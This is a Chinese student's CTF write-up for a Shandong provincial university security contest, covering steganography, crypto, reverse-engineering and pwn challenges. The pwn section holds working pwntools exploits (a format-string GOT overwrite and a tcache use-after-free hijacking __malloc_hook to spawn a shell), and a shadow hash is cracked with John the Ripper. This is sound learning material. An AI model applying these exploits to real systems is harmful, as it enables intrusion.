第七届山东省大学生网络安全技能大赛–“科来杯” 部分WP


第七届山东省大学生网络安全技能大赛–“科来杯” 部分WP

0x00

首先恭喜山科喜提四连冠!!!
菜鸡的我和大佬们来苟了一波,发现这比赛对个人能力要求真的不低,做出来几道简单的题目,还是太菜了,膜拜大佬们 ORZ。

MISC

神秘的文件

比较简单的一道隐写,可以下载到一个压缩包,解压得到两个文件,一张图片和一个加了密码的压缩包:
image

打开压缩包发现里面有一个图片也叫作 logo.png,猜测是明文攻击
image

于是使用工具: ARCHPR 进行破解(由于比赛没有给出外网,当时以为没有工具的我慌得一批,但是还是找到了。。。),首先将给出的图片压缩(使用 WINRAR ,其他压缩软件可能存在问题),然后使用工具破解就能得出密码:
image

解压拿到 word 文档,直接打开是没有 flag 的,将 word 后缀名改成 zip,解压就能找到经过 base64 编码的flag,解码即得flag。

flag : flag{d0cX_1s_ziP_file}

表情包

一张图片,拉到 linux 下 binwalk 跑一遍,发现图片藏了一个压缩包,但是压缩包加密了,在图片的属性里面可以找到一串十六进制,转换成文本就是 zip 的密码。

解压就可以得到 flag。

flag : flag{3XiF_iNf0rM@ti0n}

彩虹

这道题比较坑,结束前 5 分钟已经快做出来了,但是最终输给了时间 ORZ。
拿到 6 张图片,binwalk 没有发现隐藏的文件,用 stegsolve 解一下能从这 6 张图片里面提取出来另外六张图片,连起来是:
image

MakeMeTall,很明显和图片的高度有关系,修改图片的高度之后每张图下面都出现了色块,猜测是二进制
image

但是横着解是不行的,这是最坑的一点,需要把这六张图片纵向排开,然后解密。

1
2
3
4
5
6
7
8
9
10
s = "1100110110110011000011111011101000011011101100111011000111011100110111110010111100101000101111001101101111101001110111111001101111101"
i = 0
n = []
while i < len(s):
n.append(int(s[i:i+7],2))
i += 7
flag = ""
for k in n:
flag += chr(k)
print(flag)

flag : flag{Png1n7erEs7iof}

crackit

这道题就更坑了,给出的文件叫做 shadow,很容易就联想到 linux 下的用户密码文件,对于这个之前没有仔细了解过,当看到这道题的时候,还特意去打开了我自己的 shadow 文件,格式是一样的,题意应该就是要破解 root 用户的密码,但是我不知道怎么破解密码。。。

1
root:$6$HRMJoyGA$26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.:17770:0:99999:7:::

赛后经过大佬提醒才知道可以使用著名的密码破解工具 JohnTheRipper,在 kali 下自带这个工具,直接运行命令 john shadow,就可以破解了。。。

解出来的是 hellokitty,不知道是不是正确的 flag。

神秘代码

待更新。

basic

给了一个文本文件,里面是类似 (255,255,255) 的结构,很明显就是画图题,翻出之前的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-*- coding:utf-8 -*-

from PIL import Image
import re

x = 50 #x坐标 通过对txt里的行数进行整数分解
y = 2700 #y坐标 x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('basic.txt') #打开rbg值文件

#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = line.split(",")#分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()

坑点在于长宽不能直接整数分解,会乱码,一种思想是爆破所有的长宽,另一种是猜的。。。
image

flag: flag{RGB_1s_e4sY}

编码

文件内容:

1
d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e

x 开头的是十六进制,d 开头的是十进制,o 开头的是八进制,b 开头的是二进制,写一个脚本解码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
f = open("./text.txt","r")
flag = ""
for i in range(107):
s = f.readline()
if s[0] == 'b':
flag += chr(int(s[1:],2))
elif s[0] == 'd':
flag += chr(int(s[1:]))
elif s[0] == 'o':
flag += chr(int(s[1:],8))
elif s[0] == 'x':
flag += chr(int(s[1:],16))
print(flag)
f.close()

flag : flag{1e4bf81a6394de5abc005ac6e39a387b}

CRYPTO

affine

简单的仿射密码,直接脚本解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def affine(a, b):
pwd_dic = {}
for i in range(26):
pwd_dic[chr(((a * i - b) % 26 + 97))] = chr(i + 97)
return pwd_dic

def main():
pwd_dic = {}
pwd = "szzyfimhyzd"
plain = []
pwd_dic = affine(17,8)
print(pwd_dic)
for i in pwd:
plain.append(pwd_dic[i])
print("flag is :" + "".join(plain))
if __name__ == '__main__':
main()

flag : affineshift

RSA

看给出的各个系数发现 e 值很大,猜测是低指数幂攻击,于是使用脚本解密(GITHUB 有现成的脚本可以使用 rsa-wiener-attack,坑爹的是菜鸡的我在比赛时没有脚本。。。)。

flag : flag{Wien3r_4tt@ck_1s_3AsY}

RE

不得不说这回的 RE 题目有些难度,只能做出来一道简单的签到题了。。。

file

比较简单的一道逆向,大概的逻辑是要求用户给出一个文件,然后程序对其中的字节进行一些操作,将结果和内硬编码的数据进行比较,算法是简单的异或,于是将硬编码抠出来,爆破即可得到正确的文件。
PS : 可以通过动态调试确定硬编码的值,减少工作量。

1
2
3
4
5
6
7
8
9
fllg = "flag{hello_player_come_on_hahah}"
s = []
token = [102, 78, 6, 34, 102, 37, 66, 93, 86, 46, 118, 110, 4, 45, 66, 44, 7, 44, 69, 105, 45, 18, 92, 126, 101, 82, 96, 105, 84, 100, 102, 67]

for i in range(len(fllg)):
for flag in range(0, 0x100):
if((i ^ flag ^ token[i]) == ord(fllg[i])):
s.append(flag)
print(hex(flag)),

得到正确的字节后需要编辑一个二进制文件,将这些字节写进文件,然后传递给程序。
image

之后需要计算这个文件的 MD5 作为 flag 提交(菜鸡的我再一次没有计算 MD5 的工具,幸好抱了 IDA 的大腿,拿到了 MD5…),注意字母需要小写。

flag : flag{914a7b9df69eab5b74b9edb7070e53e8}

not_only_smc

自修改代码加上较多的垃圾代码,需要进行修正,待更新。

babyLoginPlus

VM 逆向,待更新。

PWN

repeater

简单的 pwn 题,程序存在格式化字符串漏洞,有多种做法均可以得到 flag,我选择改写了 puts 的 got 地址为程序给出的 getFlag 函数。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(log_level="DEBUG")
#p = process("./repeater")
p = remote("192.168.100.243",9001)
#gdb.attach(p)
p.recvuntil("msg:")
payload1 = p32(0x0804a01c) + p32(0x0804a01d) + p32(0x0804a060) + "%.10x%4$hhn%.112x%5$hhn%.8082x%6$n"
p.sendline(payload1)
p.interactive()

#flag{cdf44c15cac314da4d73a0ac117c896a}

–2018-11-06 更新–

babytcache

比赛的时候看到这道题的名字就放弃了,赛前一周本来要学一波的,结果给忘了。。。
其实 tcache 不难,这道题目也是简单的一批,感觉自己错过了一个亿 ORZ,直接用 IDA 打开程序,得到伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-14h]
int v4; // [rsp+10h] [rbp-10h]
void *ptr; // [rsp+18h] [rbp-8h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v3 = 0;
puts("Welcome to easy heap game!");
printf("I think you might need this: 0x%016llx\n", &system);
while ( v3 != 7 )
{
sub_11C5(++v3);
v4 = sub_121D();
if ( v4 == 2 )
{
free(ptr);
}
else if ( v4 == 3 )
{
puts("You might need this to tamper something.");
read(0, ptr, 8uLL);
}
else
{
if ( v4 != 1 )
exit(0);
ptr = malloc(0x10uLL);
}
}
puts("Game over!");
exit(0);
}

漏洞很明显,free 一个堆块之后没有清空指针,造成 UAF,由于分配的堆块都是 0x10 大小,属于 fastbin 而且在 tcache 范围内,我们可以利用 UAF 劫持 fastbin 的 fd 指针到 malloc_hook(得益于 2.27 的 tcache,在劫持指针的时候不需要满足 size 的检查) ,然后再分配新堆块即可拿到 malloc_hook! (关于 tcache 的细节我准备近期单独再写)
不多说了,直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#context(log_level="DEBUG")

#p = process("./bb_tcache")
p = remote("47.*.*.*", *)
libc = ELF("./libc-2.27.so")
p.recvuntil("I think you might need this: ")
system_addr = int(p.recv(18),16)
log.info("System address : 0x%x", system_addr)
libc_addr = system_addr - libc.symbols["system"]
log.info("libc address : 0x%x", libc_addr)
main_arena = libc_addr + 0x3ebc40
log.info("main_arena address : 0x%x", main_arena)
malloc_hook = libc_addr + libc.symbols["__malloc_hook"]
log.info("malloc_hook address : 0x%x", malloc_hook)
one_gadget = libc_addr + 0x10a38c
log.info("One_gadget = 0x%x" % one_gadget)
p.recvuntil("4. quit!\n")
p.sendline("1")
p.recvuntil("4. quit!\n")
p.sendline("2")
p.recvuntil("4. quit!\n")
p.sendline("3")
payload = p64(malloc_hook)
p.recvuntil("something.\n")
p.send(payload)
p.recvuntil("4. quit!\n")
p.sendline("1")
p.recvuntil("4. quit!\n")
p.sendline("1")
p.recvuntil("4. quit!\n")
p.sendline("3")
#gdb.attach(p)
payload2 = p64(one_gadget)
p.recvuntil("something.\n")
p.send(payload2)
p.recvuntil("4. quit!\n")
p.sendline("1")
p.interactive()

感谢表哥搭建的复现环境,经测试可以拿到 shell。OvO

后记

还有几道数据包分析题目,由于我太菜了,没有怎么关注这几道题,坐等官方的 WP。

省赛难度区分比较明显,简单的题目不少,但是也有很难的题目,自己还是太菜了,有几道题目应该做出来de。
和表哥们学到了很多,也见识到了省内其他学校大佬们的实力。加油!希望自己能变得更强!

PS:有几道题目还没有做完,之后会逐步更新它们的 WP。